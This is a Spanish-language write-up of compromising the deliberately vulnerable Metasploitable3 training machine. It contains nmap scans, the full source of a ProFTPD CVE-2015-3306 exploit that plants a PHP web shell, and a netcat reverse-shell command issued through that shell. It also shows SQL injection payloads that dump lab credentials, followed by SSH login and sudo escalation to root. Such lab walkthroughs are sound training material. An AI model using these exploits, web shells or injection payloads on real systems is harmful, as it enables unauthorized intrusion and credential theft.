

# Writeup de Metasploitable3

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## Informacion general

- **Sistema Operativo:** [Linux]
- **Dificultad:** [Facil]
- **Direccion IP:** [192.168.19.117]

## Reconocimiento

### Escaneo de puertos

Ejecutamos el siguiente comando con nmap

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG puertos6 192.168.19.117
```

y luego ejecutamos el siguiente comandos para ver las versiones de los servicios

```
nmap -sCV -p21,22,80,445,631,3306,3500,6697,8080 -oN target 192.168.19.117
```

Nmap scan report for 192.168.19.117

Host is up (0.00022s latency).

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	ProFTPD 1.3.5
22/tcp	open	ssh	OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:			
1024 2b:2e:1f:a4:54:26:87:76:12:26:59:58:0d:da:3b:04 (DSA)			
2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (RSA)			
256 c0:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (ECDSA)			
_ 256 a0:76:f3:76:f8:f0:70:4d:09:ca:e1:10:fd:a9:cc:0a (ED25519)			
80/tcp	open	http	Apache httpd 2.4.7
_http-server-header: Apache/2.4.7 (Ubuntu)			
http-ls: Volume /			
SIZE TIME FILENAME			
- 2020-10-29 19:37 chat/			
- 2011-07-27 20:17 drupal/			
1.7K 2020-10-29 19:37 payroll_app.php			
- 2013-04-08 12:06 phpmyadmin/			
_			
_http-title: Index of /			
445/tcp	open	netbios-ssn	Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

```
631/tcp open ipp          CUPS 1.7
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/1.7 IPP/2.1
|_http-title: Home - CUPS 1.7.2
| http-methods:
|_ Potentially risky methods: PUT
3306/tcp open  mysql        MySQL (unauthorized)
3500/tcp open  http          WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
|_http-server-header: WEBrick/1.3.1 (Ruby/2.3.8/2018-10-18)
|_http-title: Ruby on Rails: Welcome aboard
| http-robots.txt: 1 disallowed entry
|_/
6697/tcp open  irc            UnrealIRCd
8080/tcp open  http            Jetty 8.1.7.v20120910
|_http-title: Error 404 - Not Found
|_http-server-header: Jetty(8.1.7.v20120910)
MAC Address: 08:00:27:08:26:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1s, deviation: 2s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: metasploitable3-ub1404
|   NetBIOS computer name: METASPLOITABLE3-UB1404\x00
|   Domain name: \x00
|   FQDN: metasploitable3-ub1404
|_ System time: 2025-02-19T17:27:33+00:00
| smb2-time:
|   date: 2025-02-19T17:27:34
|_ start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_ Message signing enabled but not required
```

## Explotacion ftp

Clonamos el siguiente repositorio

```
git clone https://github.com/t0kx/exploit-CVE-2015-3306
```

Y tendra el siguiente codigo en python

```
#!/usr/bin/env python
# CVE-2015-3306 exploit by t0kx
# https://github.com/t0kx/exploit-CVE-2015-3306

import re
import socket
import requests
import argparse

class Exploit:
    def __init__(self, host, port, path):
        self.__sock = None
        self.__host = host
        self.__port = port
        self.__path = path

    def __connect(self):
        self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.__sock.connect((self.__host, self.__port))
        self.__sock.recv(1024)

    def __exploit(self):
        payload = "<?php echo passthru($_GET['cmd']); ?>"
        self.__sock.send(b"site cpfr /proc/self/cmdline\n")
        self.__sock.recv(1024)
        self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send(("site cpto " + self.__path
+ "/backdoor.php\n").encode("utf-8"))

        if "Copy successful" in str(self.__sock.recv(1024)):
            print("[+] Target exploited, acessing shell at http://" + self.__host
+ "/backdoor.php")
            print("[+] Running whoami: " + self.__trigger())
            print("[+] Done")
        else:
            print("[!] Failed")

    def __trigger(self):
        data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
        match = re.search('cpto /tmp/.([^\"]+)', data.text)
        return match.group(0)[11:].replace("\n", "")

    def run(self):
        self.__connect()
        self.__exploit()

def main(args):
    print("[+] CVE-2015-3306 exploit by t0kx")
    print("[+] Exploiting " + args.host + ":" + args.port)
```

Ejecutamos el siguiente comando

Ahora con netcat lo dejaremos en escucha por el puerto 9000

192.168.19.117/backdoor.php?cmd=rm%20%2Ftmp%2F%3Bmkfifo%20%2Ftmp%2F%3Bcat%20%2Ftmp%2F%7Csh%20-i%20%261%7Cnc... |

```
> nc -lvnp 9000
Listening on 0.0.0.0 9000
Connection received on 192.168.19.117 49128
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
```

En el apartado usuario escribimos esto

```
' OR 1=1#
```

Y nos saldra los usuarios del sistema

**Welcome, ' OR 1 = 1#**

Username	First Name	Last Name	Salary
leia_organa	Leia	Organa	9560
luke_skywalker	Luke	Skywalker	1080
han_solo	Han	Solo	1200
artoo_detoo	Artoo	Detoo	22222
c_three_pio	C	Threepio	3200
ben_kenobi	Ben	Kenobi	10000
darth_vader	Darth	Vader	6666
anakin_skywalker	Anakin	Skywalker	1025
jarjar_binks	Jar-Jar	Binks	2048
lando_calrissian	Lando	Calrissian	40000
boba_fett	Boba	Fett	20000
jabba_hutt	Jaba	Hutt	65000
greedo	Greedo	Rodian	50000
chewbacca	Chewbacca		4500
kylo_ren	Kylo	Ren	6667

Pero si ejecutamos el siguiente comando podemos ver los usuarios y contraseñas abajo

```
' OR 1=1 UNION SELECT null,null,username,password FROM users#
```

Welcome, ' OR 1=1 UNION SELECT null,null,username,password FROM users#

Username	First Name	Last Name	Salary
leia_organa	Leia	Organa	9560
luke_skywalker	Luke	Skywalker	1080
han_solo	Han	Solo	1200
artoo_detoo	Artoo	Detoo	22222
c_three_pio	C	Threepio	3200
ben_kenobi	Ben	Kenobi	10000
darth_vader	Darth	Vader	6666
anakin_skywalker	Anakin	Skywalker	1025
jarjar_binks	Jar-Jar	Binks	2048
lando_calrissian	Lando	Calrissian	40000
boba_fett	Boba	Fett	20000
jabba_hutt	Jaba	Hutt	65000
greedo	Greedo	Rodian	50000
chewbacca	Chewbacca		4500
kylo_ren	Kylo	Ren	6667
		leia_organa	help_me_obiwan
		luke_skywalker	like_my_father_beforeme
		han_solo	nerf_herder
		artoo_detoo	b00p_b33p
		c_three_pio	Pr0t0c07
		ben_kenobi	thats_no_m00n

Entramos con ssh al servidor con ben\_kenobi

```
ssh ben_kenobi@192.168.19.117
```

```
100 min/avg/max/mdev = 0.010/0.010/0.010/0.000 ms
> ssh ben_kenobi@192.168.19.117
ben_kenobi@192.168.19.117's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 3.13.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
Last login: Wed Feb 19 19:11:34 2025 from 192.168.19.125
ben_kenobi@metasploitable3-ub1404:~$ |
```

## Escalada de privilegios

Cambiamos de usuario a leia\_organa

```
su leia_organa
```

```
ben_kenobi@metasploitable3-ub1404:~$ su leia_organa
Password:
leia_organa@metasploitable3-ub1404:/home/ben_kenobi$ groups
users sudo
leia_organa@metasploitable3-ub1404:/home/ben_kenobi$ |
```

Y como esta en el grupo sudo podemos hacer un **sudo su** y ser root

```
groups && sudo su
```

```
leia_organa@metasploitable3-ub1404:/home/ben_kenobi$ sudo su
[sudo] password for leia_organa:
Sorry, try again.
[sudo] password for leia_organa:
root@metasploitable3-ub1404:/home/ben_kenobi#
```